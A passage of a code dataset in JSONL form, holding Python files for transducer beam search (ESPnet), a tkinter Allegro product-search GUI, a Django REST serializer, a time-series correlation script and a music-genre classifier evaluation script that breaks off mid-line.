output_file:\n\tjson.dump(all_obj,output_file,indent=4,sort_keys=False)\n\n# conf.dump(root_folder + \"\\comic_configuration.json\")\n","sub_path":"src/ComicDownloader/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"192706282","text":"\"\"\"Search algorithms for transducer models.\"\"\"\n\nimport numpy as np\n\nfrom dataclasses import asdict\nfrom dataclasses import dataclass\n\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Union\n\nimport torch\nimport torch.nn.functional as F\n\nfrom espnet.nets.pytorch_backend.transducer.utils import create_lm_batch_state\nfrom espnet.nets.pytorch_backend.transducer.utils import init_lm_state\nfrom espnet.nets.pytorch_backend.transducer.utils import is_prefix\nfrom espnet.nets.pytorch_backend.transducer.utils import recombine_hyps\nfrom espnet.nets.pytorch_backend.transducer.utils import select_lm_state\nfrom espnet.nets.pytorch_backend.transducer.utils import substract\n\n\n@dataclass\nclass Hypothesis:\n \"\"\"Hypothesis class for beam search algorithms.\"\"\"\n\n score: float\n yseq: List[int]\n dec_state: Union[List[List[torch.Tensor]], List[torch.Tensor]]\n y: List[torch.tensor] = None\n lm_state: Union[Dict[str, Any], List[Any]] = None\n lm_scores: torch.Tensor = None\n\n\ndef greedy_search(decoder, h, recog_args):\n \"\"\"Greedy search implementation for transformer-transducer.\n\n Args:\n decoder (class): decoder class\n h (torch.Tensor): encoder hidden state sequences (maxlen_in, Henc)\n recog_args (Namespace): argument Namespace containing options\n\n Returns:\n hyp (list of dicts): 1-best decoding results\n\n \"\"\"\n init_tensor = h.unsqueeze(0)\n dec_state = decoder.init_state(init_tensor)\n\n hyp = Hypothesis(score=0.0, yseq=[decoder.blank], dec_state=dec_state)\n\n cache = {}\n\n y, state, _ = decoder.score(hyp, cache, init_tensor)\n\n for i, hi in enumerate(h):\n ytu = torch.log_softmax(decoder.joint(hi, y[0]), dim=-1)\n logp, pred = torch.max(ytu, dim=-1)\n\n if pred != decoder.blank:\n hyp.yseq.append(int(pred))\n hyp.score += float(logp)\n\n hyp.dec_state = state\n\n y, state, _ = decoder.score(hyp, cache, init_tensor)\n\n return [asdict(hyp)]\n\n\ndef default_beam_search(decoder, h, recog_args, rnnlm=None):\n \"\"\"Beam search implementation.\n\n Args:\n decoder (class): decoder class\n h (torch.Tensor): encoder hidden state sequences (Tmax, Henc)\n recog_args (Namespace): argument Namespace containing options\n rnnlm (torch.nn.Module): language module\n\n Returns:\n nbest_hyps (list of dicts): n-best decoding results\n\n \"\"\"\n beam = min(recog_args.beam_size, decoder.odim)\n beam_k = min(beam, (decoder.odim - 1))\n\n nbest = recog_args.nbest\n normscore = recog_args.score_norm_transducer\n\n init_tensor = h.unsqueeze(0)\n blank_tensor = init_tensor.new_zeros(1, dtype=torch.long)\n\n dec_state = decoder.init_state(init_tensor)\n\n kept_hyps = [Hypothesis(score=0.0, yseq=[decoder.blank], dec_state=dec_state)]\n\n cache = {}\n\n for hi in h:\n hyps = kept_hyps\n kept_hyps = []\n\n while True:\n max_hyp = max(hyps, key=lambda x: x.score)\n hyps.remove(max_hyp)\n\n y, state, lm_tokens = decoder.score(max_hyp, cache, init_tensor)\n\n ytu = F.log_softmax(decoder.joint(hi, y[0]), dim=-1)\n\n top_k = ytu[1:].topk(beam_k, dim=-1)\n\n ytu = (\n torch.cat((top_k[0], ytu[0:1])),\n torch.cat((top_k[1] + 1, blank_tensor)),\n )\n\n if rnnlm:\n rnnlm_state, rnnlm_scores = rnnlm.predict(max_hyp.lm_state, lm_tokens)\n\n for logp, k in zip(*ytu):\n new_hyp = Hypothesis(\n score=(max_hyp.score + float(logp)),\n yseq=max_hyp.yseq[:],\n dec_state=max_hyp.dec_state,\n lm_state=max_hyp.lm_state,\n )\n\n if k == decoder.blank:\n kept_hyps.append(new_hyp)\n else:\n new_hyp.dec_state = state\n\n new_hyp.yseq.append(int(k))\n\n if rnnlm:\n new_hyp.lm_state = rnnlm_state\n new_hyp.score += recog_args.lm_weight * rnnlm_scores[0][k]\n\n hyps.append(new_hyp)\n\n hyps_max = float(max(hyps, key=lambda x: x.score).score)\n kept_most_prob = sorted(\n [hyp for hyp in kept_hyps if hyp.score > hyps_max],\n key=lambda x: x.score,\n )\n if len(kept_most_prob) >= beam:\n kept_hyps = kept_most_prob\n break\n\n if normscore:\n nbest_hyps = sorted(\n kept_hyps, key=lambda x: x.score / len(x.yseq), reverse=True\n )[:nbest]\n else:\n nbest_hyps = sorted(kept_hyps, key=lambda x: x.score, reverse=True)[:nbest]\n\n return [asdict(n) for n in nbest_hyps]\n\n\ndef time_sync_decoding(decoder, h, recog_args, rnnlm=None):\n \"\"\"Time synchronous beam search implementation.\n\n Based on https://ieeexplore.ieee.org/document/9053040\n\n Args:\n decoder (class): decoder class\n h (torch.Tensor): encoder hidden state sequences (Tmax, Henc)\n recog_args (Namespace): argument Namespace containing options\n rnnlm (torch.nn.Module): language module\n\n Returns:\n nbest_hyps (list of dicts): n-best decoding results\n\n \"\"\"\n beam = min(recog_args.beam_size, decoder.odim)\n\n max_sym_exp = recog_args.max_sym_exp\n nbest = recog_args.nbest\n\n init_tensor = h.unsqueeze(0)\n\n beam_state = decoder.init_state(torch.zeros((beam, decoder.dunits)))\n\n B = [\n Hypothesis(\n yseq=[decoder.blank],\n score=0.0,\n dec_state=decoder.select_state(beam_state, 0),\n )\n ]\n\n if rnnlm:\n if hasattr(rnnlm.predictor, \"wordlm\"):\n lm_model = rnnlm.predictor.wordlm\n lm_type = \"wordlm\"\n else:\n lm_model = rnnlm.predictor\n lm_type = \"lm\"\n\n B[0].lm_state = init_lm_state(lm_model)\n\n lm_layers = len(lm_model.rnn)\n\n cache = {}\n\n for hi in h:\n A = []\n C = B\n\n h_enc = hi.unsqueeze(0)\n\n for v in range(max_sym_exp):\n D = []\n\n beam_y, beam_state, beam_lm_tokens = decoder.batch_score(\n C, beam_state, cache, init_tensor\n )\n\n beam_logp = F.log_softmax(decoder.joint(h_enc, beam_y), dim=-1)\n beam_topk = beam_logp[:, 1:].topk(beam, dim=-1)\n\n seq_A = [h.yseq for h in A]\n\n for i, hyp in enumerate(C):\n if hyp.yseq not in seq_A:\n A.append(\n Hypothesis(\n score=(hyp.score + float(beam_logp[i, 0])),\n yseq=hyp.yseq[:],\n dec_state=hyp.dec_state,\n lm_state=hyp.lm_state,\n )\n )\n else:\n dict_pos = seq_A.index(hyp.yseq)\n\n A[dict_pos].score = np.logaddexp(\n A[dict_pos].score, (hyp.score + float(beam_logp[i, 0]))\n )\n\n if v < max_sym_exp:\n if rnnlm:\n beam_lm_states = create_lm_batch_state(\n [c.lm_state for c in C], lm_type, lm_layers\n )\n\n beam_lm_states, beam_lm_scores = rnnlm.buff_predict(\n beam_lm_states, beam_lm_tokens, len(C)\n )\n\n for i, hyp in enumerate(C):\n for logp, k in zip(beam_topk[0][i], beam_topk[1][i] + 1):\n new_hyp = Hypothesis(\n score=(hyp.score + float(logp)),\n yseq=(hyp.yseq + [int(k)]),\n dec_state=decoder.select_state(beam_state, i),\n lm_state=hyp.lm_state,\n )\n\n if rnnlm:\n new_hyp.score += recog_args.lm_weight * beam_lm_scores[i, k]\n\n new_hyp.lm_state = select_lm_state(\n beam_lm_states, i, lm_type, lm_layers\n )\n\n D.append(new_hyp)\n\n C = sorted(D, key=lambda x: x.score, reverse=True)[:beam]\n\n B = sorted(A, key=lambda x: x.score, reverse=True)[:beam]\n\n nbest_hyps = sorted(B, key=lambda x: x.score, reverse=True)[:nbest]\n\n return [asdict(n) for n in nbest_hyps]\n\n\ndef align_length_sync_decoding(decoder, h, recog_args, rnnlm=None):\n \"\"\"Alignment-length synchronous beam search implementation.\n\n Based on https://ieeexplore.ieee.org/document/9053040\n\n Args:\n decoder (class): decoder class\n h (torch.Tensor): encoder hidden state sequences (Tmax, Henc)\n recog_args (Namespace): argument Namespace containing options\n rnnlm (torch.nn.Module): language module\n\n Returns:\n nbest_hyps (list of dicts): n-best decoding results\n\n \"\"\"\n beam = min(recog_args.beam_size, decoder.odim)\n\n h_length = int(h.size(0))\n u_max = min(recog_args.u_max, (h_length - 1))\n\n nbest = recog_args.nbest\n\n init_tensor = h.unsqueeze(0)\n\n beam_state = decoder.init_state(torch.zeros((beam, decoder.dunits)))\n\n B = [\n Hypothesis(\n yseq=[decoder.blank],\n score=0.0,\n dec_state=decoder.select_state(beam_state, 0),\n )\n ]\n final = []\n\n if rnnlm:\n if hasattr(rnnlm.predictor, \"wordlm\"):\n lm_model = rnnlm.predictor.wordlm\n lm_type = \"wordlm\"\n else:\n lm_model = rnnlm.predictor\n lm_type = \"lm\"\n\n B[0].lm_state = init_lm_state(lm_model)\n\n lm_layers = len(lm_model.rnn)\n\n cache = {}\n\n for i in range(h_length + u_max):\n A = []\n\n B_ = []\n h_states = []\n for hyp in B:\n u = len(hyp.yseq) - 1\n t = i - u + 1\n\n if t > (h_length - 1):\n continue\n\n B_.append(hyp)\n h_states.append((t, h[t]))\n\n if B_:\n beam_y, beam_state, beam_lm_tokens = decoder.batch_score(\n B_, beam_state, cache, init_tensor\n )\n\n h_enc = torch.stack([h[1] for h in h_states])\n\n beam_logp = F.log_softmax(decoder.joint(h_enc, beam_y), dim=-1)\n beam_topk = beam_logp[:, 1:].topk(beam, dim=-1)\n\n if rnnlm:\n beam_lm_states = create_lm_batch_state(\n [b.lm_state for b in B_], lm_type, lm_layers\n )\n\n beam_lm_states, beam_lm_scores = rnnlm.buff_predict(\n beam_lm_states, beam_lm_tokens, len(B_)\n )\n\n for i, hyp in enumerate(B_):\n new_hyp = Hypothesis(\n score=(hyp.score + float(beam_logp[i, 0])),\n yseq=hyp.yseq[:],\n dec_state=hyp.dec_state,\n lm_state=hyp.lm_state,\n )\n\n A.append(new_hyp)\n\n if h_states[i][0] == (h_length - 1):\n final.append(new_hyp)\n\n for logp, k in zip(beam_topk[0][i], beam_topk[1][i] + 1):\n new_hyp = Hypothesis(\n score=(hyp.score + float(logp)),\n yseq=(hyp.yseq[:] + [int(k)]),\n dec_state=decoder.select_state(beam_state, i),\n lm_state=hyp.lm_state,\n )\n\n if rnnlm:\n new_hyp.score += recog_args.lm_weight * beam_lm_scores[i, k]\n\n new_hyp.lm_state = select_lm_state(\n beam_lm_states, i, lm_type, lm_layers\n )\n\n A.append(new_hyp)\n\n B = sorted(A, key=lambda x: x.score, reverse=True)[:beam]\n B = recombine_hyps(B)\n\n if final:\n nbest_hyps = sorted(final, key=lambda x: x.score, reverse=True)[:nbest]\n else:\n nbest_hyps = B[:nbest]\n\n return [asdict(n) for n in nbest_hyps]\n\n\ndef nsc_beam_search(decoder, h, recog_args, rnnlm=None):\n \"\"\"N-step constrained beam search implementation.\n\n Based and modified from https://arxiv.org/pdf/2002.03577.pdf.\n Please reference ESPnet (b-flo, PR #2444) for any usage outside ESPnet\n until further modifications.\n\n Note: the algorithm is not in his \"complete\" form but works almost as\n intended.\n\n Args:\n decoder (class): decoder class\n h (torch.Tensor): encoder hidden state sequences (Tmax, Henc)\n recog_args (Namespace): argument Namespace containing options\n rnnlm (torch.nn.Module): language module\n\n Returns:\n nbest_hyps (list of dicts): n-best decoding results\n\n \"\"\"\n beam = min(recog_args.beam_size, decoder.odim)\n beam_k = min(beam, (decoder.odim - 1))\n\n nstep = recog_args.nstep\n prefix_alpha = recog_args.prefix_alpha\n\n nbest = recog_args.nbest\n\n cache = {}\n\n init_tensor = h.unsqueeze(0)\n blank_tensor = init_tensor.new_zeros(1, dtype=torch.long)\n\n beam_state = decoder.init_state(torch.zeros((beam, decoder.dunits)))\n\n init_tokens = [\n Hypothesis(\n yseq=[decoder.blank],\n score=0.0,\n dec_state=decoder.select_state(beam_state, 0),\n )\n ]\n\n beam_y, beam_state, beam_lm_tokens = decoder.batch_score(\n init_tokens, beam_state, cache, init_tensor\n )\n\n state = decoder.select_state(beam_state, 0)\n\n if rnnlm:\n beam_lm_states, beam_lm_scores = rnnlm.buff_predict(None, beam_lm_tokens, 1)\n\n if hasattr(rnnlm.predictor, \"wordlm\"):\n lm_model = rnnlm.predictor.wordlm\n lm_type = \"wordlm\"\n else:\n lm_model = rnnlm.predictor\n lm_type = \"lm\"\n\n lm_layers = len(lm_model.rnn)\n\n lm_state = select_lm_state(beam_lm_states, 0, lm_type, lm_layers)\n lm_scores = beam_lm_scores[0]\n else:\n lm_state = None\n lm_scores = None\n\n kept_hyps = [\n Hypothesis(\n yseq=[decoder.blank],\n score=0.0,\n dec_state=state,\n y=[beam_y[0]],\n lm_state=lm_state,\n lm_scores=lm_scores,\n )\n ]\n\n for hi in h:\n hyps = sorted(kept_hyps, key=lambda x: len(x.yseq), reverse=True)\n kept_hyps = []\n\n h_enc = hi.unsqueeze(0)\n\n for j in range(len(hyps) - 1):\n for i in range((j + 1), len(hyps)):\n if (\n is_prefix(hyps[j].yseq, hyps[i].yseq)\n and (len(hyps[j].yseq) - len(hyps[i].yseq)) <= prefix_alpha\n ):\n next_id = len(hyps[i].yseq)\n\n ytu = F.log_softmax(decoder.joint(hi, hyps[i].y[-1]), dim=0)\n\n curr_score = hyps[i].score + float(ytu[hyps[j].yseq[next_id]])\n\n for k in range(next_id, (len(hyps[j].yseq) - 1)):\n ytu = F.log_softmax(decoder.joint(hi, hyps[j].y[k]), dim=0)\n\n curr_score += float(ytu[hyps[j].yseq[k + 1]])\n\n hyps[j].score = np.logaddexp(hyps[j].score, curr_score)\n\n S = []\n V = []\n for n in range(nstep):\n beam_y = torch.stack([hyp.y[-1] for hyp in hyps])\n\n beam_logp = F.log_softmax(decoder.joint(h_enc, beam_y), dim=-1)\n beam_topk = beam_logp[:, 1:].topk(beam_k, dim=-1)\n\n if rnnlm:\n beam_lm_scores = torch.stack([hyp.lm_scores for hyp in hyps])\n\n for i, hyp in enumerate(hyps):\n i_topk = (\n torch.cat((beam_topk[0][i], beam_logp[i, 0:1])),\n torch.cat((beam_topk[1][i] + 1, blank_tensor)),\n )\n\n for logp, k in zip(*i_topk):\n new_hyp = Hypothesis(\n yseq=hyp.yseq[:],\n score=(hyp.score + float(logp)),\n y=hyp.y[:],\n dec_state=hyp.dec_state,\n lm_state=hyp.lm_state,\n lm_scores=hyp.lm_scores,\n )\n\n if k == decoder.blank:\n S.append(new_hyp)\n else:\n new_hyp.yseq.append(int(k))\n\n if rnnlm:\n new_hyp.score += recog_args.lm_weight * float(\n beam_lm_scores[i, k]\n )\n\n V.append(new_hyp)\n\n V = sorted(V, key=lambda x: x.score, reverse=True)\n V = substract(V, hyps)[:beam]\n\n l_state = [v.dec_state for v in V]\n l_tokens = [v.yseq for v in V]\n\n beam_state = decoder.create_batch_states(beam_state, l_state, l_tokens)\n beam_y, beam_state, beam_lm_tokens = decoder.batch_score(\n V, beam_state, cache, init_tensor\n )\n\n if rnnlm:\n beam_lm_states = create_lm_batch_state(\n [v.lm_state for v in V], lm_type, lm_layers\n )\n beam_lm_states, beam_lm_scores = rnnlm.buff_predict(\n beam_lm_states, beam_lm_tokens, len(V)\n )\n\n if n < (nstep - 1):\n for i, v in enumerate(V):\n v.y.append(beam_y[i])\n\n v.dec_state = decoder.select_state(beam_state, i)\n\n if rnnlm:\n v.lm_state = select_lm_state(\n beam_lm_states, i, lm_type, lm_layers\n )\n v.lm_scores = beam_lm_scores[i]\n\n hyps = V[:]\n else:\n beam_logp = F.log_softmax(decoder.joint(h_enc, beam_y), dim=-1)\n\n for i, v in enumerate(V):\n if nstep != 1:\n v.score += float(beam_logp[i, 0])\n\n v.y.append(beam_y[i])\n\n v.dec_state = decoder.select_state(beam_state, i)\n\n if rnnlm:\n v.lm_state = select_lm_state(\n beam_lm_states, i, lm_type, lm_layers\n )\n v.lm_scores = beam_lm_scores[i]\n\n kept_hyps = sorted((S + V), key=lambda x: x.score, reverse=True)[:beam]\n\n nbest_hyps = sorted(kept_hyps, key=lambda x: (x.score / len(x.yseq)), reverse=True)[\n :nbest\n ]\n\n return [asdict(n) for n in nbest_hyps]\n\n\ndef search_interface(decoder, h, recog_args, rnnlm):\n \"\"\"Select and run search algorithms.\n\n Args:\n decoder (class): decoder class\n h (torch.Tensor): encoder hidden state sequences (Tmax, Henc)\n recog_args (Namespace): argument Namespace containing options\n rnnlm (torch.nn.Module): language module\n\n Returns:\n nbest_hyps (list of dicts): n-best decoding results\n\n \"\"\"\n if hasattr(decoder, \"att\"):\n decoder.att[0].reset()\n\n if recog_args.beam_size <= 1:\n nbest_hyps = greedy_search(decoder, h, recog_args)\n elif recog_args.search_type == \"default\":\n nbest_hyps = default_beam_search(decoder, h, recog_args, rnnlm)\n elif recog_args.search_type == \"nsc\":\n nbest_hyps = nsc_beam_search(decoder, h, recog_args, rnnlm)\n elif recog_args.search_type == \"tsd\":\n nbest_hyps = time_sync_decoding(decoder, h, recog_args, rnnlm)\n elif recog_args.search_type == \"alsd\":\n nbest_hyps = align_length_sync_decoding(decoder, h, recog_args, rnnlm)\n else:\n raise NotImplementedError\n\n return nbest_hyps\n","sub_path":"espnet/nets/beam_search_transducer.py","file_name":"beam_search_transducer.py","file_ext":"py","file_size_in_byte":19710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"37811544","text":"import tkinter as tk\nfrom tkinter import messagebox\nfrom alleproduct import AllegroAPI\nimport time\n\n\nclass MainWindow(tk.Frame):\n itemCounter = 0\n items = []\n\n def __init__(self, *args, **kwargs):\n tk.Frame.__init__(self, *args, **kwargs)\n self.nazwa_label = tk.Label(self, text=\"Lista przedmiotow::\")\n self.nazwa_label.pack(fill=tk.X, side=tk.LEFT)\n self.txt = tk.Text(self, height=5, width=50)\n self.txt.pack()\n\n self.add_btn = tk.Button(self, text=\"Dodaj nowy przedmiot\", command=self.add_item)\n self.add_btn.pack(fill=tk.X)\n self.szukaj_btn = tk.Button(self, text=\"Szukaj\", command=self.szukaj)\n self.szukaj_btn.pack(fill=tk.X)\n\n def add_item(self):\n if self.itemCounter < 5:\n t = tk.Toplevel(self)\n t.wm_title(\"Adding item #%s\" % self.itemCounter)\n\n nazwa_label = tk.Label(t, text=\"Nazwa:\")\n nazwa_txt = tk.Entry(t, width=10)\n nazwa_label.grid(column=0, row=0, sticky=tk.W)\n nazwa_txt.grid(column=1, row=0)\n\n sztuk_label = tk.Label(t, text=\"Ilosc sztuk:\")\n sztuk_txt = tk.Entry(t, width=10)\n sztuk_txt.insert(0, '0')\n sztuk_label.grid(column=0, row=1, sticky=tk.W)\n sztuk_txt.grid(column=1, row=1)\n\n min_cena_label = tk.Label(t, text=\"Cena minimalna:\")\n min_cena_txt = tk.Entry(t, width=10)\n min_cena_txt.insert(0, '0')\n min_cena_label.grid(column=0, row=2, sticky=tk.W)\n min_cena_txt.grid(column=1, row=2)\n\n max_cena_label = tk.Label(t, text=\"Cena maksymalna:\")\n max_cena_txt = tk.Entry(t, width=10)\n max_cena_txt.insert(0, '9999')\n max_cena_label.grid(column=0, row=3, sticky=tk.W)\n max_cena_txt.grid(column=1, row=3)\n\n rep_label = tk.Label(t, text=\"Minimalna reputacja:\")\n rep_txt = tk.Entry(t, width=10)\n rep_txt.insert(0, '0')\n rep_label.grid(column=0, row=4, sticky=tk.W)\n rep_txt.grid(column=1, row=4)\n\n oceny_label = tk.Label(t, text=\"Minimalna liczba ocen:\")\n oceny_txt = tk.Entry(t, width=10)\n oceny_txt.insert(0, '0')\n oceny_label.grid(column=0, row=5, sticky=tk.W)\n oceny_txt.grid(column=1, row=5)\n\n def add():\n if nazwa_txt.get():\n try:\n self.items.append(\n [nazwa_txt.get(), int(sztuk_txt.get()), float(min_cena_txt.get()),\n float(max_cena_txt.get()),\n float(rep_txt.get()), float(oceny_txt.get())])\n self.txt.insert(tk.END,\n \"Przedmiot \" + str(\n self.itemCounter + 1) + \": [\" + nazwa_txt.get() + \",\" + sztuk_txt.get() + \",\" + min_cena_txt.get() + \",\" + max_cena_txt.get() + \",\" + rep_txt.get() + \",\" + oceny_txt.get() + \"]\" + \"\\n\")\n self.itemCounter += 1\n t.destroy()\n except ValueError:\n messagebox.showerror(\"Error\", \"Zly format danych\")\n t.destroy()\n self.add_item()\n\n else:\n messagebox.showerror(\"Error\", \"Wpisz nazwe prouktu\")\n self.add_item()\n\n addBtn = tk.Button(t, text=\"Dodaj\", command=add)\n addBtn.grid(row=6)\n else:\n messagebox.showerror(\"Error\", \"Maksymalna ilosc produktu osiagnieta\")\n\n def szukaj(self):\n if self.items:\n t = tk.Toplevel(self)\n t.wm_title(\"Search Result\")\n set1_label = tk.Label(t, text=\"Zestaw 1:\")\n set1_label.grid(column=0, row=1)\n set1_text = tk.Text(t, height=5, width=150)\n set1_text.grid(column=1, row=1)\n set2_label = tk.Label(t, text=\"Zestaw 2:\")\n set2_label.grid(column=0, row=2)\n set2_text = tk.Text(t, height=5, width=150)\n set2_text.grid(column=1, row=2)\n set3_label = tk.Label(t, text=\"Zestaw 3:\")\n set3_label.grid(column=0, row=3)\n set3_text = tk.Text(t, height=5, width=150)\n set3_text.grid(column=1, row=3)\n\n a = AllegroAPI(self.items)\n a.search()\n price1 = 0\n price2 = 0\n price3 = 0\n for index in range(len(self.items)):\n try:\n if a.set1[index][1] == 'i':\n set1_text.insert(tk.END,\n \"Nie ma produku nr \" + str(index + 1) + \" spelniajacego wymagania\" + \"\\n\")\n else:\n set1_text.insert(tk.END, str(index + 1) + \". \" + str(a.set1[index][1]) + \" Cena: \" + str(\n a.set1[index][0]) + \" https://allegro.pl/oferta/\" + str(a.set1[index][4]) + \"\\n\")\n price1 += a.set1[index][0]\n except IndexError:\n set1_text.insert(tk.END, \"Nie ma produku nr \" + str(index + 1) + \" spelniajacego wymagania\" + \"\\n\")\n for index in range(len(self.items)):\n try:\n if a.set2[index][1] == 'i':\n set2_text.insert(tk.END,\n \"Nie ma produku nr \" + str(index + 1) + \" spelniajacego wymagania\" + \"\\n\")\n else:\n set2_text.insert(tk.END, str(index + 1) + \". \" + str(a.set2[index][1]) + \" Cena: \" + str(\n a.set2[index][0]) + \" https://allegro.pl/oferta/\" + str(a.set2[index][4]) + \"\\n\")\n price2 += a.set2[index][0]\n except IndexError:\n set2_text.insert(tk.END, \"Nie ma produku nr \" + str(index + 1) + \" spelniajacego wymagania\" + \"\\n\")\n for index in range(len(self.items)):\n try:\n if a.set3[index][1] == 'i':\n set3_text.insert(tk.END,\n \"Nie ma produku nr \" + str(index + 1) + \" spelniajacego wymagania\" + \"\\n\")\n else:\n set3_text.insert(tk.END, str(index + 1) + \". \" + str(a.set3[index][1]) + \" Cena: \" + str(\n a.set3[index][0]) + \" https://allegro.pl/oferta/\" + str(a.set3[index][4]) + \"\\n\")\n price3 += a.set3[index][0]\n except IndexError:\n set3_text.insert(tk.END, \"Nie ma produku nr \" + str(index + 1) + \" spelniajacego wymagania\" + \"\\n\")\n set1_label['text'] = set1_label['text'] + \"\\n\" + str(round(price1,2)) + \" PLN\"\n set2_label['text'] = set2_label['text'] + \"\\n\" + str(round(price2,2)) + \" PLN\"\n set3_label['text'] = set3_label['text'] + \"\\n\" + str(round(price3,2)) + \" PLN\"\n\n self.items = []\n self.itemCounter = 0\n self.txt.delete('1.0', tk.END)\n else:\n messagebox.showerror(\"Error\", \"Nie dodales zadnych przedmiotow!\")\n\n\nroot = tk.Tk()\nwindow = MainWindow(root)\nwindow.pack(side=\"top\", fill=\"both\", expand=True)\nroot.title(\"AllegroProject\")\nroot.mainloop()\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":7301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"455413397","text":"from rest_framework import serializers\n\nimport pytz\n\nfrom data.models import AttachmentFile\nfrom shared.serializer import NoNullSerializer\nfrom ..common import OfficerRowSerializer\n\n\nclass AllegationSerializer(NoNullSerializer):\n crid = serializers.CharField()\n category = serializers.SerializerMethodField()\n incident_date = serializers.DateTimeField(format='%Y-%m-%d', default_timezone=pytz.utc)\n coaccused = serializers.SerializerMethodField()\n point = serializers.SerializerMethodField()\n\n def get_coaccused(self, obj):\n coaccused = [officer_allegation.officer for officer_allegation in obj.prefetched_officer_allegations]\n return OfficerRowSerializer(coaccused, many=True).data\n\n def get_category(self, obj):\n try:\n return obj.most_common_category.category\n except AttributeError:\n return 'Unknown'\n\n def get_point(self, obj):\n if obj.point is not None:\n return {'lon': obj.point.x, 'lat': obj.point.y}\n\n\nclass DocumentSerializer(serializers.ModelSerializer):\n allegation = AllegationSerializer()\n\n class Meta:\n model = AttachmentFile\n fields = (\n 'id',\n 'preview_image_url',\n 'url',\n 'allegation',\n )\n","sub_path":"cpdb/pinboard/serializers/desktop/relevant/document_serializer.py","file_name":"document_serializer.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"303057114","text":"import numpy as np\nimport logging\nfrom common.dataloader import load_dataset\nimport sys\nsys.path.append(\"../\")\n\ndataset = \"SMD\"\nsubdataset = \"machine-1-1\"\n\n\ndef correlate_normalize(series1, series2):\n correlate = float(np.correlate(series1, series2))\n norm1 = np.linalg.norm(series1)\n norm2 = np.linalg.norm(series2)\n\n if norm1 == 0 and norm2 == 0:\n return 0\n\n elif norm1 == 0:\n norm1 += 0.01\n\n elif norm2 == 0:\n norm2 += 0.01\n\n correlate = correlate / (norm1 * norm2)\n\n return correlate\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s P%(process)d %(levelname)s %(message)s\",\n )\n\n # load dataset\n data_dict = load_dataset(\n dataset,\n subdataset,\n \"all\",\n )\n\n x_train = data_dict[\"train\"]\n x_test = data_dict[\"test\"]\n x_test_labels = data_dict[\"test_labels\"]\n\n\ndef get_1d(x_data):\n weight = np.zeros(x_data.shape[1])\n for i in range(x_data.shape[1]):\n s = 0\n for j in range(x_data.shape[1]):\n s += abs(correlate_normalize(x_data[:, i], x_data[:, j]))\n weight[i] = s\n\n weight = weight / np.sum(weight)\n x_data = np.dot(x_data, weight)\n\n return x_data\n\nprint(np.arange(5).shape)\n","sub_path":"demo/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"59872830","text":"import pandas as pd\nimport numpy as np\n\nfrom feature_extraction import append_data_to_file\nfrom sklearn import svm\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler, MinMaxScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n\nimport time\n\n# Use the time module to measure how long the program is running.\n# starttime = time.time()\n\n\n# Use this function to write a headline for the (new) file 'acc_file_name'. Attention: an existing file with the same\n# name will be deleted/overwritten.\ndef write_headline(acc_file_name):\n header = f\"Classifier/Model Features Repetitions Accuracy Variance AccuracyList\".split()\n append_data_to_file(acc_file_name, header, \"w\")\n\n\n# This is an auxiliary function for the main function 'compute_data()'. For the given feature data 'X' and target\n# data 'y', the function will split the data into a training and test set. Afterwards the given classifier will be\n# trained with the training data and the accuracy of the classifier on the test data will be saved in a list. To make\n# sure, that the result will not heavily depend on the train_test_split, this procedure should be done several times.\n# This number of repetitions is specified by the parameter 'repetitions'. Because every classifier should be tested on\n# the same splits, the 'random_state' parameter in 'train_test_split' is used. Finally the average accuracy (and the\n# variance) is computed, by using the numpy library. To write the computed data in the file 'acc_file_name',\n# the function 'append_data_to_file' from the script 'feature_extraction.py' is used. All in all, after calling the\n# function, there will be a new line added into the file, consisting of the name of the classifier\n# ('classifier_name'), the name of the used features ('feat_name') and the number of repetitions ('repetitions'),\n# followed by the computed average accuracy, the variance and also the whole list of the accuracies.\n#\ndef write_accuracy_to_file(acc_file_name, classifier_name, classifier, feat_name, X, y, repetitions):\n score_list = []\n for i in range(repetitions):\n print(f\"Step {i}\") # can be deleted, just shows the progress of the programm\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42 * i + 666)\n classifier.fit(X_train, y_train)\n score_list.append(classifier.score(X_test, y_test))\n avg = round(np.average(score_list), 6)\n var = round(np.var(score_list), 6)\n line = f\"{classifier_name} {feat_name} {repetitions} {avg} {var}\".split()\n line.append(score_list)\n append_data_to_file(acc_file_name, line, \"a\")\n\n\n# This is the main function of this script. The goal is to write computed accuracies of different classifiers and\n# features in a .csv file. Therefore, at first the feature data must be read form the file 'file_name' and\n# scaled/normalized. This data will be saved in the list 'feature_list', always paired with its description.\n# Afterwards some classifiers are initialized and saved in a list, where again each of them is paired with its\n# name/description. In the end, it only remains to call the function 'write_accuracy_to_file' for every feature and\n# classifier combination to compute the accuracies and write it in the file 'acc_file_name'. When calling this\n# function, the 'repetitions' parameter comes into play, whichs role is explained above.\n#\ndef compute_data(acc_file_name, features_file_name, repetitions):\n\n #________________________ Data Preprocessing ___________________________________\n \n data = pd.read_csv(features_file_name)\n data = data.drop([\"filename\"], axis=1) # we dont need the column with the filenames anymore\n \n genre_data = data.iloc[:, -1] # the last column(genre)\n all_features_data = data.iloc[:, :-1] # every data except the last column(genre)\n chro_data = data.iloc[:, 0] # only the first columnn (chroma_stft)\n spec_data = data.iloc[:, 1] # only the second columnn (spectral_centroid)\n zero_data = data.iloc[:, 2] # only the third columnn (zero_crossing_rate)\n mfcc_data = data.iloc[:, 3:23] # only the last 20 columnns (mfcc)\n \n encoder = LabelEncoder()\n y = encoder.fit_transform(genre_data)\n scaler = StandardScaler()\n \n X_all = scaler.fit_transform(np.array(all_features_data, 